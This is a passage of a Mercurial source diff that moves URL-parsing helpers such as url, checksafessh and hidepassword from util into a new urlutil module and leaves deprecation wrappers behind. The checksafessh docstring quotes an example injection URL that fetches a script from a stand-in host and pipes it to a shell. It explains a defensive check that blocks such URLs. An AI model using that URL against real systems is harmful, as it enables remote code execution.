746 747 self.ui.status(
747 748 _(b'cloning subrepo %s from %s\n')
748 % (subrelpath(self), util.hidepassword(srcurl))
749 % (subrelpath(self), urlutil.hidepassword(srcurl))
749 750 )
750 751 peer = getpeer()
751 752 try:
@@ -765,7 +766,7 b' class hgsubrepo(abstractsubrepo):'
765 766 else:
766 767 self.ui.status(
767 768 _(b'pulling subrepo %s from %s\n')
768 % (subrelpath(self), util.hidepassword(srcurl))
769 % (subrelpath(self), urlutil.hidepassword(srcurl))
769 770 )
770 771 cleansub = self.storeclean(srcurl)
771 772 peer = getpeer()
@@ -849,12 +850,12 b' class hgsubrepo(abstractsubrepo):'
849 850 if self.storeclean(dsturl):
850 851 self.ui.status(
851 852 _(b'no changes made to subrepo %s since last push to %s\n')
852 % (subrelpath(self), util.hidepassword(dsturl))
853 % (subrelpath(self), urlutil.hidepassword(dsturl))
853 854 )
854 855 return None
855 856 self.ui.status(
856 857 _(b'pushing subrepo %s to %s\n')
857 % (subrelpath(self), util.hidepassword(dsturl))
858 % (subrelpath(self), urlutil.hidepassword(dsturl))
858 859 )
859 860 other = hg.peer(self._repo, {b'ssh': ssh}, dsturl)
860 861 try:
@@ -1284,7 +1285,7 b' class svnsubrepo(abstractsubrepo):'
1284 1285 args.append(b'%s@%s' % (state[0], state[1]))
1285 1286
1286 1287 # SEC: check that the ssh url is safe
1287 util.checksafessh(state[0])
1288 urlutil.checksafessh(state[0])
1288 1289
1289 1290 status, err = self._svncommand(args, failok=True)
1290 1291 _sanitize(self.ui, self.wvfs, b'.svn')
@@ -1582,7 +1583,7 b' class gitsubrepo(abstractsubrepo):'
1582 1583 def _fetch(self, source, revision):
1583 1584 if self._gitmissing():
1584 1585 # SEC: check for safe ssh url
1585 util.checksafessh(source)
1586 urlutil.checksafessh(source)
1586 1587
1587 1588 source = self._abssource(source)
1588 1589 self.ui.status(
@@ -23,7 +23,10 b' from . import ('
23 23 pycompat,
24 24 util,
25 25 )
26 from .utils import stringutil
26 from .utils import (
27 stringutil,
28 urlutil,
29 )
27 30
28 31 nullstate = (b'', b'', b'empty')
29 32
@@ -136,10 +139,10 b' def state(ctx, ui):'
136 139 kind = kind[1:]
137 140 src = src.lstrip() # strip any extra whitespace after ']'
138 141
139 if not util.url(src).isabs():
142 if not urlutil.url(src).isabs():
140 143 parent = _abssource(repo, abort=False)
141 144 if parent:
142 parent = util.url(parent)
145 parent = urlutil.url(parent)
143 146 parent.path = posixpath.join(parent.path or b'', src)
144 147 parent.path = posixpath.normpath(parent.path)
145 148 joined = bytes(parent)
@@ -400,13 +403,13 b' def _abssource(repo, push=False, abort=T'
400 403 """return pull/push path of repo - either based on parent repo .hgsub info
401 404 or on the top repo config. Abort or return None if no source found."""
402 405 if util.safehasattr(repo, b'_subparent'):
403 source = util.url(repo._subsource)
406 source = urlutil.url(repo._subsource)
404 407 if source.isabs():
405 408 return bytes(source)
406 409 source.path = posixpath.normpath(source.path)
407 410 parent = _abssource(repo._subparent, push, abort=False)
408 411 if parent:
409 parent = util.url(util.pconvert(parent))
412 parent = urlutil.url(util.pconvert(parent))
410 413 parent.path = posixpath.join(parent.path or b'', source.path)
411 414 parent.path = posixpath.normpath(parent.path)
412 415 return bytes(parent)
@@ -435,7 +438,7 b' def _abssource(repo, push=False, abort=T'
435 438 #
436 439 # D:\>python -c "import os; print os.path.abspath('C:relative')"
437 440 # C:\some\path\relative
438 if util.hasdriveletter(path):
441 if urlutil.hasdriveletter(path):
439 442 if len(path) == 2 or path[2:3] not in br'\/':
440 443 path = os.path.abspath(path)
441 444 return path
@@ -559,7 +559,7 b' class ui(object):'
559 559 )
560 560 p = p.replace(b'%%', b'%')
561 561 p = util.expandpath(p)
562 if not util.hasscheme(p) and not os.path.isabs(p):
562 if not urlutil.hasscheme(p) and not os.path.isabs(p):
563 563 p = os.path.normpath(os.path.join(root, p))
564 564 c.alter(b"paths", n, p)
565 565
@@ -26,7 +26,10 b' from . import ('
26 26 urllibcompat,
27 27 util,
28 28 )
29 from .utils import stringutil
29 from .utils import (
30 stringutil,
31 urlutil,
32 )
30 33
31 34 httplib = util.httplib
32 35 stringio = util.stringio
@@ -75,17 +78,17 b' class passwordmgr(object):'
75 78 user, passwd = auth.get(b'username'), auth.get(b'password')
76 79 self.ui.debug(b"using auth.%s.* for authentication\n" % group)
77 80 if not user or not passwd:
78 u = util.url(pycompat.bytesurl(authuri))
81 u = urlutil.url(pycompat.bytesurl(authuri))
79 82 u.query = None
80 83 if not self.ui.interactive():
81 84 raise error.Abort(
82 85 _(b'http authorization required for %s')
83 % util.hidepassword(bytes(u))
86 % urlutil.hidepassword(bytes(u))
84 87 )
85 88
86 89 self.ui.write(
87 90 _(b"http authorization required for %s\n")
88 % util.hidepassword(bytes(u))
91 % urlutil.hidepassword(bytes(u))
89 92 )
90 93 self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm))
91 94 if user:
@@ -128,7 +131,7 b' class proxyhandler(urlreq.proxyhandler):'
128 131 proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:')
129 132 ):
130 133 proxyurl = b'http://' + proxyurl + b'/'
131 proxy = util.url(proxyurl)
134 proxy = urlutil.url(proxyurl)
132 135 if not proxy.user:
133 136 proxy.user = ui.config(b"http_proxy", b"user")
134 137 proxy.passwd = ui.config(b"http_proxy", b"passwd")
@@ -155,7 +158,9 b' class proxyhandler(urlreq.proxyhandler):'
155 158 # expects them to be.
156 159 proxyurl = str(proxy)
157 160 proxies = {'http': proxyurl, 'https': proxyurl}
158 ui.debug(b'proxying through %s\n' % util.hidepassword(bytes(proxy)))
161 ui.debug(
162 b'proxying through %s\n' % urlutil.hidepassword(bytes(proxy))
163 )
159 164 else:
160 165 proxies = {}
161 166
@@ -219,7 +224,7 b' def _generic_start_transaction(handler, '
219 224 new_tunnel = False
220 225
221 226 if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy
222 u = util.url(pycompat.bytesurl(tunnel_host))
227 u = urlutil.url(pycompat.bytesurl(tunnel_host))
223 228 if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS
224 229 h.realhostport = b':'.join([u.host, (u.port or b'443')])
225 230 h.headers = req.headers.copy()
@@ -675,7 +680,7 b' def opener('
675 680
676 681
677 682 def open(ui, url_, data=None, sendaccept=True):
678 u = util.url(url_)
683 u = urlutil.url(url_)
679 684 if u.scheme:
680 685 u.scheme = u.scheme.lower()
681 686 url_, authinfo = u.authinfo()
@@ -28,7 +28,6 b' import os'
28 28 import platform as pyplatform
29 29 import re as remod
30 30 import shutil
31 import socket
32 31 import stat
33 32 import sys
34 33 import time
@@ -57,6 +56,7 b' from .utils import ('
57 56 hashutil,
58 57 procutil,
59 58 stringutil,
59 urlutil,
60 60 )
61 61
62 62 if pycompat.TYPE_CHECKING:
@@ -65,7 +65,6 b' if pycompat.TYPE_CHECKING:'
65 65 List,
66 66 Optional,
67 67 Tuple,
68 Union,
69 68 )
70 69
71 70
@@ -2959,420 +2958,52 b' def interpolate(prefix, mapping, s, fn=N'
2959 2958 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2960 2959
2961 2960
2962 def getport(port):
2963 # type: (Union[bytes, int]) -> int
2964 """Return the port for a given network service.
2965
2966 If port is an integer, it's returned as is. If it's a string, it's
2967 looked up using socket.getservbyname(). If there's no matching
2968 service, error.Abort is raised.
2969 """
2970 try:
2971 return int(port)
2972 except ValueError:
2973 pass
2974
2975 try:
2976 return socket.getservbyname(pycompat.sysstr(port))
2977 except socket.error:
2978 raise error.Abort(
2979 _(b"no port number associated with service '%s'") % port
2980 )
2981
2982
2983 class url(object):
2984 r"""Reliable URL parser.
2985
2986 This parses URLs and provides attributes for the following
2987 components:
2988
2989 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2990
2991 Missing components are set to None. The only exception is
2992 fragment, which is set to '' if present but empty.
2993
2994 If parsefragment is False, fragment is included in query. If
2995 parsequery is False, query is included in path. If both are
2996 False, both fragment and query are included in path.
2997
2998 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2999
3000 Note that for backward compatibility reasons, bundle URLs do not
3001 take host names. That means 'bundle://../' has a path of '../'.
3002
3003 Examples:
3004
3005 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
3006 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
3007 >>> url(b'ssh://[::1]:2200//home/joe/repo')
3008 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
3009 >>> url(b'file:///home/joe/repo')
3010 <url scheme: 'file', path: '/home/joe/repo'>
3011 >>> url(b'file:///c:/temp/foo/')
3012 <url scheme: 'file', path: 'c:/temp/foo/'>
3013 >>> url(b'bundle:foo')
3014 <url scheme: 'bundle', path: 'foo'>
3015 >>> url(b'bundle://../foo')
3016 <url scheme: 'bundle', path: '../foo'>
3017 >>> url(br'c:\foo\bar')
3018 <url path: 'c:\\foo\\bar'>
3019 >>> url(br'\\blah\blah\blah')
3020 <url path: '\\\\blah\\blah\\blah'>
3021 >>> url(br'\\blah\blah\blah#baz')
3022 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
3023 >>> url(br'file:///C:\users\me')
3024 <url scheme: 'file', path: 'C:\\users\\me'>
3025
3026 Authentication credentials:
3027
3028 >>> url(b'ssh://joe:xyz@x/repo')
3029 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
3030 >>> url(b'ssh://joe@x/repo')
3031 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
3032
3033 Query strings and fragments:
3034
3035 >>> url(b'http://host/a?b#c')
3036 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3037 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3038 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3039
3040 Empty path:
3041
3042 >>> url(b'')
3043 <url path: ''>
3044 >>> url(b'#a')
3045 <url path: '', fragment: 'a'>
3046 >>> url(b'http://host/')
3047 <url scheme: 'http', host: 'host', path: ''>
3048 >>> url(b'http://host/#a')
3049 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3050
3051 Only scheme:
3052
3053 >>> url(b'http:')
3054 <url scheme: 'http'>
3055 """
3056
3057 _safechars = b"!~*'()+"
3058 _safepchars = b"/!~*'()+:\\"
3059 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3060
3061 def __init__(self, path, parsequery=True, parsefragment=True):
3062 # type: (bytes, bool, bool) -> None
3063 # We slowly chomp away at path until we have only the path left
3064 self.scheme = self.user = self.passwd = self.host = None
3065 self.port = self.path = self.query = self.fragment = None
3066 self._localpath = True
3067 self._hostport = b''
3068 self._origpath = path
3069
3070 if parsefragment and b'#' in path:
3071 path, self.fragment = path.split(b'#', 1)
3072
3073 # special case for Windows drive letters and UNC paths
3074 if hasdriveletter(path) or path.startswith(b'\\\\'):
3075 self.path = path
3076 return
3077
3078 # For compatibility reasons, we can't handle bundle paths as
3079 # normal URLS
3080 if path.startswith(b'bundle:'):
3081 self.scheme = b'bundle'
3082 path = path[7:]
3083 if path.startswith(b'//'):
3084 path = path[2:]
3085 self.path = path
3086 return
3087
3088 if self._matchscheme(path):
3089 parts = path.split(b':', 1)
3090 if parts[0]:
3091 self.scheme, path = parts
3092 self._localpath = False
3093
3094 if not path:
3095 path = None
3096 if self._localpath:
3097 self.path = b''
3098 return
3099 else:
3100 if self._localpath:
3101 self.path = path
3102 return
3103
3104 if parsequery and b'?' in path:
3105 path, self.query = path.split(b'?', 1)
3106 if not path:
3107 path = None
3108 if not self.query:
3109 self.query = None
3110
3111 # // is required to specify a host/authority
3112 if path and path.startswith(b'//'):
3113 parts = path[2:].split(b'/', 1)
3114 if len(parts) > 1:
3115 self.host, path = parts
3116 else:
3117 self.host = parts[0]
3118 path = None
3119 if not self.host:
3120 self.host = None
3121 # path of file:///d is /d
3122 # path of file:///d:/ is d:/, not /d:/
3123 if path and not hasdriveletter(path):
3124 path = b'/' + path
3125
3126 if self.host and b'@' in self.host:
3127 self.user, self.host = self.host.rsplit(b'@', 1)
3128 if b':' in self.user:
3129 self.user, self.passwd = self.user.split(b':', 1)
3130 if not self.host:
3131 self.host = None
3132
3133 # Don't split on colons in IPv6 addresses without ports
3134 if (
3135 self.host
3136 and b':' in self.host
3137 and not (
3138 self.host.startswith(b'[') and self.host.endswith(b']')
3139 )
3140 ):
3141 self._hostport = self.host
3142 self.host, self.port = self.host.rsplit(b':', 1)
3143 if not self.host:
3144 self.host = None
3145
3146 if (
3147 self.host
3148 and self.scheme == b'file'
3149 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3150 ):
3151 raise error.Abort(
3152 _(b'file:// URLs can only refer to localhost')
3153 )
3154
3155 self.path = path
3156
3157 # leave the query string escaped
3158 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3159 v = getattr(self, a)
3160 if v is not None:
3161 setattr(self, a, urlreq.unquote(v))
3162
3163 def copy(self):
3164 u = url(b'temporary useless value')
3165 u.path = self.path
3166 u.scheme = self.scheme
3167 u.user = self.user
3168 u.passwd = self.passwd
3169 u.host = self.host
3170 u.path = self.path
3171 u.query = self.query
3172 u.fragment = self.fragment
3173 u._localpath = self._localpath
3174 u._hostport = self._hostport
3175 u._origpath = self._origpath
3176 return u
3177
3178 @encoding.strmethod
3179 def __repr__(self):
3180 attrs = []
3181 for a in (
3182 b'scheme',
3183 b'user',
3184 b'passwd',
3185 b'host',
3186 b'port',
3187 b'path',
3188 b'query',
3189 b'fragment',
3190 ):
3191 v = getattr(self, a)
3192 if v is not None:
3193 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3194 return b'<url %s>' % b', '.join(attrs)
3195
3196 def __bytes__(self):
3197 r"""Join the URL's components back into a URL string.
3198
3199 Examples:
3200
3201 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3202 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3203 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3204 'http://user:pw@host:80/?foo=bar&baz=42'
3205 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3206 'http://user:pw@host:80/?foo=bar%3dbaz'
3207 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3208 'ssh://user:pw@[::1]:2200//home/joe#'
3209 >>> bytes(url(b'http://localhost:80//'))
3210 'http://localhost:80//'
3211 >>> bytes(url(b'http://localhost:80/'))
3212 'http://localhost:80/'
3213 >>> bytes(url(b'http://localhost:80'))
3214 'http://localhost:80/'
3215 >>> bytes(url(b'bundle:foo'))
3216 'bundle:foo'
3217 >>> bytes(url(b'bundle://../foo'))
3218 'bundle:../foo'
3219 >>> bytes(url(b'path'))
3220 'path'
3221 >>> bytes(url(b'file:///tmp/foo/bar'))
3222 'file:///tmp/foo/bar'
3223 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3224 'file:///c:/tmp/foo/bar'
3225 >>> print(url(br'bundle:foo\bar'))
3226 bundle:foo\bar
3227 >>> print(url(br'file:///D:\data\hg'))
3228 file:///D:\data\hg
3229 """
3230 if self._localpath:
3231 s = self.path
3232 if self.scheme == b'bundle':
3233 s = b'bundle:' + s
3234 if self.fragment:
3235 s += b'#' + self.fragment
3236 return s
3237
3238 s = self.scheme + b':'
3239 if self.user or self.passwd or self.host:
3240 s += b'//'
3241 elif self.scheme and (
3242 not self.path
3243 or self.path.startswith(b'/')
3244 or hasdriveletter(self.path)
3245 ):
3246 s += b'//'
3247 if hasdriveletter(self.path):
3248 s += b'/'
3249 if self.user:
3250 s += urlreq.quote(self.user, safe=self._safechars)
3251 if self.passwd:
3252 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3253 if self.user or self.passwd:
3254 s += b'@'
3255 if self.host:
3256 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3257 s += urlreq.quote(self.host)
3258 else:
3259 s += self.host
3260 if self.port:
3261 s += b':' + urlreq.quote(self.port)
3262 if self.host:
3263 s += b'/'
3264 if self.path:
3265 # TODO: similar to the query string, we should not unescape the
3266 # path when we store it, the path might contain '%2f' = '/',
3267 # which we should *not* escape.
3268 s += urlreq.quote(self.path, safe=self._safepchars)
3269 if self.query:
3270 # we store the query in escaped form.
3271 s += b'?' + self.query
3272 if self.fragment is not None:
3273 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3274 return s
3275
3276 __str__ = encoding.strmethod(__bytes__)
3277
3278 def authinfo(self):
3279 user, passwd = self.user, self.passwd
3280 try:
3281 self.user, self.passwd = None, None
3282 s = bytes(self)
3283 finally:
3284 self.user, self.passwd = user, passwd
3285 if not self.user:
3286 return (s, None)
3287 # authinfo[1] is passed to urllib2 password manager, and its
3288 # URIs must not contain credentials. The host is passed in the
3289 # URIs list because Python < 2.4.3 uses only that to search for
3290 # a password.
3291 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3292
3293 def isabs(self):
3294 if self.scheme and self.scheme != b'file':
3295 return True # remote URL
3296 if hasdriveletter(self.path):
3297 return True # absolute for our purposes - can't be joined()
3298 if self.path.startswith(br'\\'):
3299 return True # Windows UNC path
3300 if self.path.startswith(b'/'):
3301 return True # POSIX-style
3302 return False
3303
3304 def localpath(self):
3305 # type: () -> bytes
3306 if self.scheme == b'file' or self.scheme == b'bundle':
3307 path = self.path or b'/'
3308 # For Windows, we need to promote hosts containing drive
3309 # letters to paths with drive letters.
3310 if hasdriveletter(self._hostport):
3311 path = self._hostport + b'/' + self.path
3312 elif (
3313 self.host is not None and self.path and not hasdriveletter(path)
3314 ):
3315 path = b'/' + path
3316 return path
3317 return self._origpath
3318
3319 def islocal(self):
3320 '''whether localpath will return something that posixfile can open'''
3321 return (
3322 not self.scheme
3323 or self.scheme == b'file'
3324 or self.scheme == b'bundle'
3325 )
3326
3327
3328 def hasscheme(path):
3329 # type: (bytes) -> bool
3330 return bool(url(path).scheme) # cast to help pytype
3331
3332
3333 def hasdriveletter(path):
3334 # type: (bytes) -> bool
3335 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
3336
3337
3338 def urllocalpath(path):
3339 # type: (bytes) -> bytes
3340 return url(path, parsequery=False, parsefragment=False).localpath()
3341
3342
3343 def checksafessh(path):
3344 # type: (bytes) -> None
3345 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3346
3347 This is a sanity check for ssh urls. ssh will parse the first item as
3348 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3349 Let's prevent these potentially exploited urls entirely and warn the
3350 user.
3351
3352 Raises an error.Abort when the url is unsafe.
3353 """
3354 path = urlreq.unquote(path)
3355 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3356 raise error.Abort(
3357 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3358 )
3359
3360
3361 def hidepassword(u):
3362 # type: (bytes) -> bytes
3363 '''hide user credential in a url string'''
3364 u = url(u)
3365 if u.passwd:
3366 u.passwd = b'***'
3367 return bytes(u)
3368
3369
3370 def removeauth(u):
3371 # type: (bytes) -> bytes
3372 '''remove all authentication information from a url string'''
3373 u = url(u)
3374 u.user = u.passwd = None
3375 return bytes(u)
2961 def getport(*args, **kwargs):
2962 msg = b'getport(...) moved to mercurial.utils.urlutil'
2963 nouideprecwarn(msg, b'6.0', stacklevel=2)
2964 return urlutil.getport(*args, **kwargs)
2965
2966
2967 def url(*args, **kwargs):
2968 msg = b'url(...) moved to mercurial.utils.urlutil'
2969 nouideprecwarn(msg, b'6.0', stacklevel=2)
2970 return urlutil.url(*args, **kwargs)
2971
2972
2973 def hasscheme(*args, **kwargs):
2974 msg = b'hasscheme(...) moved to mercurial.utils.urlutil'
2975 nouideprecwarn(msg, b'6.0', stacklevel=2)
2976 return urlutil.hasscheme(*args, **kwargs)
2977
2978
2979 def hasdriveletter(*args, **kwargs):
2980 msg = b'hasdriveletter(...) moved to mercurial.utils.urlutil'
2981 nouideprecwarn(msg, b'6.0', stacklevel=2)
2982 return urlutil.hasdriveletter(*args, **kwargs)
2983
2984
2985 def urllocalpath(*args, **kwargs):
2986 msg = b'urllocalpath(...) moved to mercurial.utils.urlutil'
2987 nouideprecwarn(msg, b'6.0', stacklevel=2)
2988 return urlutil.urllocalpath(*args, **kwargs)
2989
2990
2991 def checksafessh(*args, **kwargs):
2992 msg = b'checksafessh(...) moved to mercurial.utils.urlutil'
2993 nouideprecwarn(msg, b'6.0', stacklevel=2)
2994 return urlutil.checksafessh(*args, **kwargs)
2995
2996
2997 def hidepassword(*args, **kwargs):
2998 msg = b'hidepassword(...) moved to mercurial.utils.urlutil'
2999 nouideprecwarn(msg, b'6.0', stacklevel=2)
3000 return urlutil.hidepassword(*args, **kwargs)
3001
3002
3003 def removeauth(*args, **kwargs):
3004 msg = b'removeauth(...) moved to mercurial.utils.urlutil'
3005 nouideprecwarn(msg, b'6.0', stacklevel=2)
3006 return urlutil.removeauth(*args, **kwargs)
3376 3007
3377 3008
3378 3009 timecount = unitcountfn(
@@ -5,6 +5,8 b''
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 import re as remod
9 import socket
8 10
9 11 from ..i18n import _
10 12 from ..pycompat import (
@@ -12,12 +14,437 b' from ..pycompat import ('
12 14 setattr,
13 15 )
14 16 from .. import (
17 encoding,
15 18 error,
16 19 pycompat,
17 util,
20 urllibcompat,
18 21 )
19 22
20 23
24 if pycompat.TYPE_CHECKING:
25 from typing import (
26 Union,
27 )
28
29 urlreq = urllibcompat.urlreq
30
31
32 def getport(port):
33 # type: (Union[bytes, int]) -> int
34 """Return the port for a given network service.
35
36 If port is an integer, it's returned as is. If it's a string, it's
37 looked up using socket.getservbyname(). If there's no matching
38 service, error.Abort is raised.
39 """
40 try:
41 return int(port)
42 except ValueError:
43 pass
44
45 try:
46 return socket.getservbyname(pycompat.sysstr(port))
47 except socket.error:
48 raise error.Abort(
49 _(b"no port number associated with service '%s'") % port
50 )
51
52
53 class url(object):
54 r"""Reliable URL parser.
55
56 This parses URLs and provides attributes for the following
57 components:
58
59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60
61 Missing components are set to None. The only exception is
62 fragment, which is set to '' if present but empty.
63
64 If parsefragment is False, fragment is included in query. If
65 parsequery is False, query is included in path. If both are
66 False, both fragment and query are included in path.
67
68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69
70 Note that for backward compatibility reasons, bundle URLs do not
71 take host names. That means 'bundle://../' has a path of '../'.
72
73 Examples:
74
75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 >>> url(b'file:///home/joe/repo')
80 <url scheme: 'file', path: '/home/joe/repo'>
81 >>> url(b'file:///c:/temp/foo/')
82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 >>> url(b'bundle:foo')
84 <url scheme: 'bundle', path: 'foo'>
85 >>> url(b'bundle://../foo')
86 <url scheme: 'bundle', path: '../foo'>
87 >>> url(br'c:\foo\bar')
88 <url path: 'c:\\foo\\bar'>
89 >>> url(br'\\blah\blah\blah')
90 <url path: '\\\\blah\\blah\\blah'>
91 >>> url(br'\\blah\blah\blah#baz')
92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 >>> url(br'file:///C:\users\me')
94 <url scheme: 'file', path: 'C:\\users\\me'>
95
96 Authentication credentials:
97
98 >>> url(b'ssh://joe:xyz@x/repo')
99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 >>> url(b'ssh://joe@x/repo')
101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102
103 Query strings and fragments:
104
105 >>> url(b'http://host/a?b#c')
106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109
110 Empty path:
111
112 >>> url(b'')
113 <url path: ''>
114 >>> url(b'#a')
115 <url path: '', fragment: 'a'>
116 >>> url(b'http://host/')
117 <url scheme: 'http', host: 'host', path: ''>
118 >>> url(b'http://host/#a')
119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120
121 Only scheme:
122
123 >>> url(b'http:')
124 <url scheme: 'http'>
125 """
126
127 _safechars = b"!~*'()+"
128 _safepchars = b"/!~*'()+:\\"
129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130
131 def __init__(self, path, parsequery=True, parsefragment=True):
132 # type: (bytes, bool, bool) -> None
133 # We slowly chomp away at path until we have only the path left
134 self.scheme = self.user = self.passwd = self.host = None
135 self.port = self.path = self.query = self.fragment = None
136 self._localpath = True
137 self._hostport = b''
138 self._origpath = path
139
140 if parsefragment and b'#' in path:
141 path, self.fragment = path.split(b'#', 1)
142
143 # special case for Windows drive letters and UNC paths
144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 self.path = path
146 return
147
148 # For compatibility reasons, we can't handle bundle paths as
149 # normal URLS
150 if path.startswith(b'bundle:'):
151 self.scheme = b'bundle'
152 path = path[7:]
153 if path.startswith(b'//'):
154 path = path[2:]
155 self.path = path
156 return
157
158 if self._matchscheme(path):
159 parts = path.split(b':', 1)
160 if parts[0]:
161 self.scheme, path = parts
162 self._localpath = False
163
164 if not path:
165 path = None
166 if self._localpath:
167 self.path = b''
168 return
169 else:
170 if self._localpath:
171 self.path = path
172 return
173
174 if parsequery and b'?' in path:
175 path, self.query = path.split(b'?', 1)
176 if not path:
177 path = None
178 if not self.query:
179 self.query = None
180
181 # // is required to specify a host/authority
182 if path and path.startswith(b'//'):
183 parts = path[2:].split(b'/', 1)
184 if len(parts) > 1:
185 self.host, path = parts
186 else:
187 self.host = parts[0]
188 path = None
189 if not self.host:
190 self.host = None
191 # path of file:///d is /d
192 # path of file:///d:/ is d:/, not /d:/
193 if path and not hasdriveletter(path):
194 path = b'/' + path
195
196 if self.host and b'@' in self.host:
197 self.user, self.host = self.host.rsplit(b'@', 1)
198 if b':' in self.user:
199 self.user, self.passwd = self.user.split(b':', 1)
200 if not self.host:
201 self.host = None
202
203 # Don't split on colons in IPv6 addresses without ports
204 if (
205 self.host
206 and b':' in self.host
207 and not (
208 self.host.startswith(b'[') and self.host.endswith(b']')
209 )
210 ):
211 self._hostport = self.host
212 self.host, self.port = self.host.rsplit(b':', 1)
213 if not self.host:
214 self.host = None
215
216 if (
217 self.host
218 and self.scheme == b'file'
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 ):
221 raise error.Abort(
222 _(b'file:// URLs can only refer to localhost')
223 )
224
225 self.path = path
226
227 # leave the query string escaped
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 v = getattr(self, a)
230 if v is not None:
231 setattr(self, a, urlreq.unquote(v))
232
233 def copy(self):
234 u = url(b'temporary useless value')
235 u.path = self.path
236 u.scheme = self.scheme
237 u.user = self.user
238 u.passwd = self.passwd
239 u.host = self.host
240 u.path = self.path
241 u.query = self.query
242 u.fragment = self.fragment
243 u._localpath = self._localpath
244 u._hostport = self._hostport
245 u._origpath = self._origpath
246 return u
247
248 @encoding.strmethod
249 def __repr__(self):
250 attrs = []
251 for a in (
252 b'scheme',
253 b'user',
254 b'passwd',
255 b'host',
256 b'port',
257 b'path',
258 b'query',
259 b'fragment',
260 ):
261 v = getattr(self, a)
262 if v is not None:
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 return b'<url %s>' % b', '.join(attrs)
265
266 def __bytes__(self):
267 r"""Join the URL's components back into a URL string.
268
269 Examples:
270
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 'http://user:pw@host:80/?foo=bar&baz=42'
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 'ssh://user:pw@[::1]:2200//home/joe#'
279 >>> bytes(url(b'http://localhost:80//'))
280 'http://localhost:80//'
281 >>> bytes(url(b'http://localhost:80/'))
282 'http://localhost:80/'
283 >>> bytes(url(b'http://localhost:80'))
284 'http://localhost:80/'
285 >>> bytes(url(b'bundle:foo'))
286 'bundle:foo'
287 >>> bytes(url(b'bundle://../foo'))
288 'bundle:../foo'
289 >>> bytes(url(b'path'))
290 'path'
291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 'file:///tmp/foo/bar'
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 'file:///c:/tmp/foo/bar'
295 >>> print(url(br'bundle:foo\bar'))
296 bundle:foo\bar
297 >>> print(url(br'file:///D:\data\hg'))
298 file:///D:\data\hg
299 """
300 if self._localpath:
301 s = self.path
302 if self.scheme == b'bundle':
303 s = b'bundle:' + s
304 if self.fragment:
305 s += b'#' + self.fragment
306 return s
307
308 s = self.scheme + b':'
309 if self.user or self.passwd or self.host:
310 s += b'//'
311 elif self.scheme and (
312 not self.path
313 or self.path.startswith(b'/')
314 or hasdriveletter(self.path)
315 ):
316 s += b'//'
317 if hasdriveletter(self.path):
318 s += b'/'
319 if self.user:
